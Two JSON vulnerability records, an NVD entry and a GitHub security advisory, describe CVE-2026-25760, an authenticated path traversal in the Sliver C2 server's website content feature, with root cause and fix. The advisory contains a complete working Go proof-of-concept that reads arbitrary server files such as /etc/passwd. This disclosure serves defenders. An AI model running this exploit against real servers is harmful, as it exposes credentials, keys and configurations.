{
  "affected": [
    {
      "affectedData": [
        {
          "product": "sliver",
          "vendor": "BishopFox",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.11"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:bishopfox:sliver:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "9D797281-52C3-452C-8CAA-7E358D81CD3B",
              "versionEndExcluding": "1.6.11",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Sliver is a command and control framework that uses a custom Wireguard netstack. Prior to 1.6.11, a path traversal in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated path traversal / arbitrary file read issue, and it can expose credentials, configs, and keys. This vulnerability is fixed in 1.6.11."
    },
    {
      "lang": "es",
      "value": "Sliver es un framework de comando y control que utiliza un netstack Wireguard personalizado. Anterior a 1.6.11, un salto de ruta en el subsistema de contenido del sitio web permite a un operador autenticado leer archivos arbitrarios en el host del servidor Sliver. Esto es un problema de salto de ruta autenticado / lectura de archivos arbitrarios, y puede exponer credenciales, configuraciones y claves. Esta vulnerabilidad est\u00e1 corregida en 1.6.11."
    }
  ],
  "id": "CVE-2026-25760",
  "lastModified": "2026-06-17T10:25:11.123",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-25760",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-02-09T15:19:17.804953Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-02-06T22:16:12.277",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:57:14Z",
    "nvd_published_at": "2026-02-06T22:16:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` \u2014 accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` \u2014 reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n   ```bash\n   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n   ```\n2. Create an operator config (permission `all` for website operations):\n   ```bash\n   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n   ```\n3. Start the daemon:\n   ```bash\n   ./sliver-server daemon -l 127.0.0.1 -p 31337\n   ```\n4. Run the PoC:\n   ```bash\n   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n   ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath  string\n\t\twebsiteName string\n\t\ttargetPath  string\n\t\twebPath     string\n\t\tmaxBytes    int\n\t)\n\tflag.StringVar(\u0026configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(\u0026websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(\u0026targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(\u0026webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(\u0026maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, \u0026clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath:        webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent:     []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, \u0026clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) \u003e maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) \u003e 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n\u003cimg width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" /\u003e\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.",
  "id": "GHSA-2286-hxv5-cmp2",
  "modified": "2026-02-07T00:32:08Z",
  "published": "2026-02-05T21:57:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)"
}